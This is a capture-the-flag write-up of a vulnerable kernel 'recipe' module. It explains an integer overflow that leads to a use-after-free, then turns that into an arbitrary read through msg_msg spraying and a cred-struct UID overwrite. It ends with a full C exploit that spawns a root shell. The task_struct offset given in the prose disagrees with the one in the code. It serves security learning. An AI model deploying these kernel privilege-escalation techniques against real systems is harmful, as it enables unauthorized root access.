Overview
The challenge consists in a kernel module that allows a user to store “recipes”.
To communicate with the device we are provided with an ioctl interface that enables us to do the following:
- Allocate a recipe
- Delete a recipe
- Read a recipe
- Get information about a recipe
- Toggle private mode for a recipe
typedef struct recipe {
char *buf;
unsigned long bufsize;
unsigned int public;
uid_t owner_uid;
} recipe_t;
Structure of a recipe
Recipes are stored using this manager object:
typedef struct recipe_manager {
recipe_t **recipes_list;
unsigned char num_of_recipes;
} recipe_manager_t;
Alloc
To successfully allocate a recipe we need to provide the following parameters:
struct alloc {
unsigned long idx;
char* buf;
unsigned long bufsize;
unsigned int public;
} alloc;
Now the allocation process is pretty straight forward:
- Increase
num_of_recipes
- Check if
recipes_list
exists and allocate it if it doesn’t - Check if there is free space in the
recipes_list
, if not krealloc it - Allocate a chunk for
recipe.buf
and fill it with the provided data - Allocate a recipe and place inside it all of the provided data
- Add the recipe to
recipes_list
- Return the index of the recipe inside
recipes_list
Delete
To delete a recipe you just pass the index:
struct delete {
unsigned long idx;
} delete;
If the index is smaller than num_of_recipes
then recipe.buf
and recipe
itself get freed and the latter removed from recipes_list
, pretty easy.
Read
Read just allows you to get the contents of recipe.buf
. The needed parameter are the following:
struct read {
unsigned long idx;
char *buf;
unsigned long bufsize;
} read;
Here bufsize
must be smaller than the original bufsize provided on allocation.
The contents of the buffer will be returned through buf
.
Info
This functionality enables a user to retrieve information about a recipe, using the following structure:
struct info {
unsigned long idx;
unsigned long bufsize;
unsigned int public;
uid_t owner_uid;
} info;
Nothing really to say except:
request.info.bufsize = recipe->bufsize;
request.info.owner_uid = recipe->owner_uid;
request.info.public = recipe->public;
Toggle
Provide the index of an existing recipe:
struct toggle {
unsigned long idx;
} toggle;
The recipe.public
property gets toggled.
Vulnerability
To be honest, I needed several reads of the code to finally find the vulnerability, which was very well hidden. If you have a sharp sight you might have noticed a weird declaration in the struct above; let me refresh your memory:
typedef struct recipe_manager {
recipe_t **recipes_list;
unsigned char num_of_recipes;
} recipe_manager_t;
unsigned char sounds like integer overflow!
If we allocate 256 recipes, the last one will overflow num_of_recipes
back to 0, and as krealloc gets called as follows:
krealloc(manager.recipes_list, sizeof(recipe_t *) * manager.num_of_recipes, GFP_KERNEL);
if manager.num_of_recipes
is 0 we are freeing manager.recipes_list
.
This is because krealloc with size 0 behaves like kfree.
This creates a UAF primitive: we can use recipes_list
even tho it’s freed and thus control the pointers contained in that list by allocating something else over it!
(I only drew this horror to force myself to learn how to use a graphics tablet, I’m sorry for your eyes)
As you can see the num_of_recipes
is 0xff even tho we achieved UAF. This is because krealloc doesn’t return a valid ptr and num_of_recipes
is the decremented as part of the error handling.
// tmp is the ptr returned by krealloc
if (ZERO_OR_NULL_PTR(tmp)) {
printk(KERN_INFO "[CHALL] [ERR] (Re)allocation failed\n");
manager.num_of_recipes--;
goto error;
}
Exploitation
First of all, we need to leak some cache addresses.
The plan is to allocate an msg_msg
struct of 2048 bytes over the recipes_list
, with the contents of msg_msg
we can tamper with the list of pointers. If you want to know more about msg_msg
read my previous article: https://leo1.cc/posts/docs/msg_msg.
Arbitrary read
Tampering with the recipes_list
means writing arbitrary pointer into it, enabling us to arbitrary read memory.
The read_recipe
functionality of the module is not the best way to achieve the primitive we are looking for, since the check of the owner_id
is quite limiting.
However, the get_info
comes to our rescue: this functionality is not restricted by the owner_uid
check, thus we can read arbitrary locations through recipe.bufsize
, recipe.public
and recipe.owner_id
. For the sake of simplicity I’ll stick to the first one, as it enables us read a full qword.
I wrote this function to simplify the process:
ulong read_qword(ulong addr){
// alloc msg_msg over recipes_list
struct msgbuf
{
long mtype;
char mtext[2000];
} msg;
msg.mtype = 1;
// place a pointer just after msg_msg metadata (index 6 of recipes_list)
ulong *ptr = (ulong *)&msg.mtext;
ptr[0] = addr - 8; // recipe.bufsize overlaps the qword to read
int qid = alloc_msg(&msg, sizeof(msg.mtext));
free_msg(qid, &msg, sizeof(msg.mtext));
// get the bufsize
struct info leak;
info_recipe(6, &leak);
return leak.bufsize;
}
Achieve RCE
First idea: tty_struct
struct tty_struct {
int magic; // paranoia check
struct kref kref; // reference count
struct device *dev;
struct tty_driver *driver; // must be valid
const struct tty_operations *ops; // ptr to vtable
...
}
To pull this off I needed first to leak the kmalloc-2k cache (the one where the recipes_list
resides). To do that I leveraged some pointers in the metadata of msg_msg struct
.
Once leaked
kmalloc-2k
I could basically leak every cache up to kmalloc-1k
, using my arbitrary read primitive and the capability of allocating arbitrary chunks of size 8 to 1024 bytes (buffer chunks).
The plan then was the following:
- forge a fake recipe (place as buf a pointer to
tty_struct
) - free the fake recipe (UAF on tty_struct)
- allocate a recipe with bufsize of 1024 (override
tty_struct
)- to pass paranoia check
tty_struct.magic
should be0x5401
- override
tty_struct.ops
with a pointer to a fake vtable of size0x120
- to pass paranoia check
- use this gadget to achieve arbitrary write and override
modprobe_path
As you may know, to allocate a tty_struct
you need to open /dev/ptmx
, which triggers a call to ptmx_open
which, in turn, is responsible of allocating our beloved tty_struct
.
The trouble is that an extra check is done before the allocation:
fsi = devpts_acquire(filp);
if (IS_ERR(fsi)) {
retval = PTR_ERR(fsi);
goto out_free_file;
}
This tries to interact with /dev/pts
.
Unfortunately this device is not mounted in this challenge environment.
Dead end :/
Second idea: UAF a pipe_buffer
As I recently read about an heap struct called pipe_buffer
(reading this article) and tty_struct
exploitation didn’t work out as expected, I thought about trying to achieve arbitrary write through pipes.
I didn’t actually test this idea because I had another brainwave (next paragraph), however, sooner or later I will try to use this method and update the post.
Third idea: override cred struct
The challenge module contains the toggle
command, which could be used to write zero integers at arbitrary memory locations.
This comes with some serious constraints:
- before using this functionality we must be sure that the location we are toggling isn’t already empty, otherwise we would write a one in it
recipes.owner_uid
must be equal to our uid, meaning that the word right under the location we want to toggle must be set to 1000
A feasible target for this constrained arbitrary write is the cred struct
of our exploit:
struct cred{
atomic_long_t usage;
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
...
}
The complete cred struct definition can be found here
kuid_t
is a struct containing an unsigned int
, so we are talking about 4 bytes in memory.
The idea is now to set some UIDs to 0, meaning root privileges for our exploit!
One of the bigger issues I faced was finding a way to leak the address of the correct cred struct
. (remember that I’m still a noob at kpwn and kernel debugging)
Every process has an associated task_struct
, which contains loads of information, including a pointer to the credentials of such process.
The structs are linked in a linked-list, starting from init_task
, this represents the process with pid
1.
init_task
is located in the kernel data region and, as KASLR is disabled, we know precisely where that is.
The other tasks, however, are dynamically allocated and so are the creds.
We need to traverse the linked list until we find the task_struct
containing the pid of our exploit, retrieve the address of the cred struct
and override some UIDs.
Now, the structure of a task_struct
is available here, but getting the correct offsets for useful fields is not a piece of cake.
However, after some debugging and guessing I retrieved the following:
task_struct.pid
at offset 0x560task_struct.tasks
(pointer to nexttask_struct
) at offset 0x548task_struct.real_cred
(pointer tocred struct
) at offset 0x728
Now it’s just a matter of painless scripting.
Final Exploit
#include <sys/msg.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/msg.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define CHALLENGE_DRIVER "/dev/chall"
#define CMD_ALLOC 1337
#define CMD_DELETE 1338
#define CMD_READ 1339
#define CMD_INFO 1340
#define CMD_TOGGLE 1341
static int fd;
typedef union request {
struct alloc {
unsigned long idx;
char* buf;
unsigned long bufsize;
unsigned int public;
} alloc;
struct delete {
unsigned long idx;
} delete;
struct read {
unsigned long idx;
char *buf;
unsigned long bufsize;
} read;
struct info {
unsigned long idx;
unsigned long bufsize;
unsigned int public;
uid_t owner_uid;
} info;
struct toggle {
unsigned long idx;
} toggle;
} request_t;
ulong alloc_recipe(char *buf, ulong bufsize, uint public){
request_t request;
request.alloc.buf = buf;
request.alloc.bufsize = bufsize;
request.alloc.public = public;
ioctl(fd, CMD_ALLOC, &request);
return request.alloc.idx;
}
void read_recipe(ulong idx, char *buf, ulong bufsize){
request_t request;
request.read.idx = idx;
request.read.buf = buf;
request.read.bufsize = bufsize;
ioctl(fd, CMD_READ, &request);
}
void delete_recipe(ulong idx){
request_t request;
request.delete.idx = idx;
ioctl(fd, CMD_DELETE, &request);
}
void info_recipe(ulong idx, struct info* info){
request_t request;
request.info.idx = idx;
ioctl(fd, CMD_INFO, &request);
info->bufsize = request.info.bufsize;
info->owner_uid = request.info.owner_uid;
info->public = request.info.public;
}
void toggle_recipe(ulong idx){
request_t request;
request.toggle.idx = idx;
ioctl(fd, CMD_TOGGLE, &request);
}
int alloc_msg(void* data, size_t size){
int qid;
qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
msgsnd(qid, data, size-0x30, 0);
return qid;
}
void free_msg(int qid, void* buf, size_t size){
msgrcv(qid, buf, size, 0, IPC_NOWAIT | MSG_NOERROR);
}
void leak(char* what, unsigned long where){
printf("%s @ %p\n", what, (void*) where);
}
ulong read_qword(ulong addr){
// alloc msg_msg over recipes_list
struct msgbuf
{
long mtype;
char mtext[2000];
} msg;
msg.mtype = 1;
// place a pointer just after msg_msg metadata (index 6 of recipes_list)
ulong *ptr = (ulong *)&msg.mtext;
ptr[0] = addr - 8; // recipe.bufsize overlaps the qword to read
int qid = alloc_msg(&msg, sizeof(msg.mtext));
free_msg(qid, &msg, sizeof(msg.mtext));
// get the bufsize
struct info leak;
info_recipe(6, &leak);
return leak.bufsize;
}
void change_uid(ulong addr){
// alloc msg_msg over recipes_list
struct msgbuf
{
long mtype;
char mtext[2000];
} msg;
msg.mtype = 1;
// place a pointer just after msg_msg metadata (index 6 of recipes_list)
ulong *ptr = (ulong *)&msg.mtext;
ptr[0] = addr - 0x10; // recipe.public overlaps the uid we want to change
int qid = alloc_msg(&msg, sizeof(msg.mtext));
free_msg(qid, &msg, sizeof(msg.mtext));
toggle_recipe(6); // toggle uid (from 1000 to 0)
}
#define INIT_TASK 0xffffffff828149c0
#define NEXT_TASK_OFF 0x458
#define PID_OFF 0x560
#define CREDS_OFF 0x728
int main(int argc, char **argv) {
fd = open(CHALLENGE_DRIVER, O_RDWR | O_NONBLOCK);
ulong bufsize = 0x300;
char *buf = malloc(bufsize);
memset(buf, 0x41, sizeof(buf));
// make manger.num_of_recipes = 0xff
for(int i=0; i<0xff; i++){
alloc_recipe(buf, bufsize, 1);
}
// overflow manager.num_of_recipes back to 0
// krealloc will free manager.recipes_list [krealloc(ptr, 0) = kfree(ptr)]
// we gained UAF on the recipes_list
alloc_recipe(buf, bufsize, 1);
ulong current_task = INIT_TASK;
uint pid = getpid();
while(1){
uint current_pid = (uint)read_qword(current_task+PID_OFF);
if(current_pid == pid){
break;
}else{
current_task = read_qword(current_task+NEXT_TASK_OFF)-NEXT_TASK_OFF;
}
}
leak("Current task", current_task);
ulong creds = read_qword(current_task+CREDS_OFF);
leak("Creds", creds);
change_uid(creds+20); // EUID (effective UID)
change_uid(creds+4); // current UID
system("/bin/sh");
return 0;
}
Note: first override the euid
and then the uid
, otherwise you won’t be able to change the euid
, for some reason.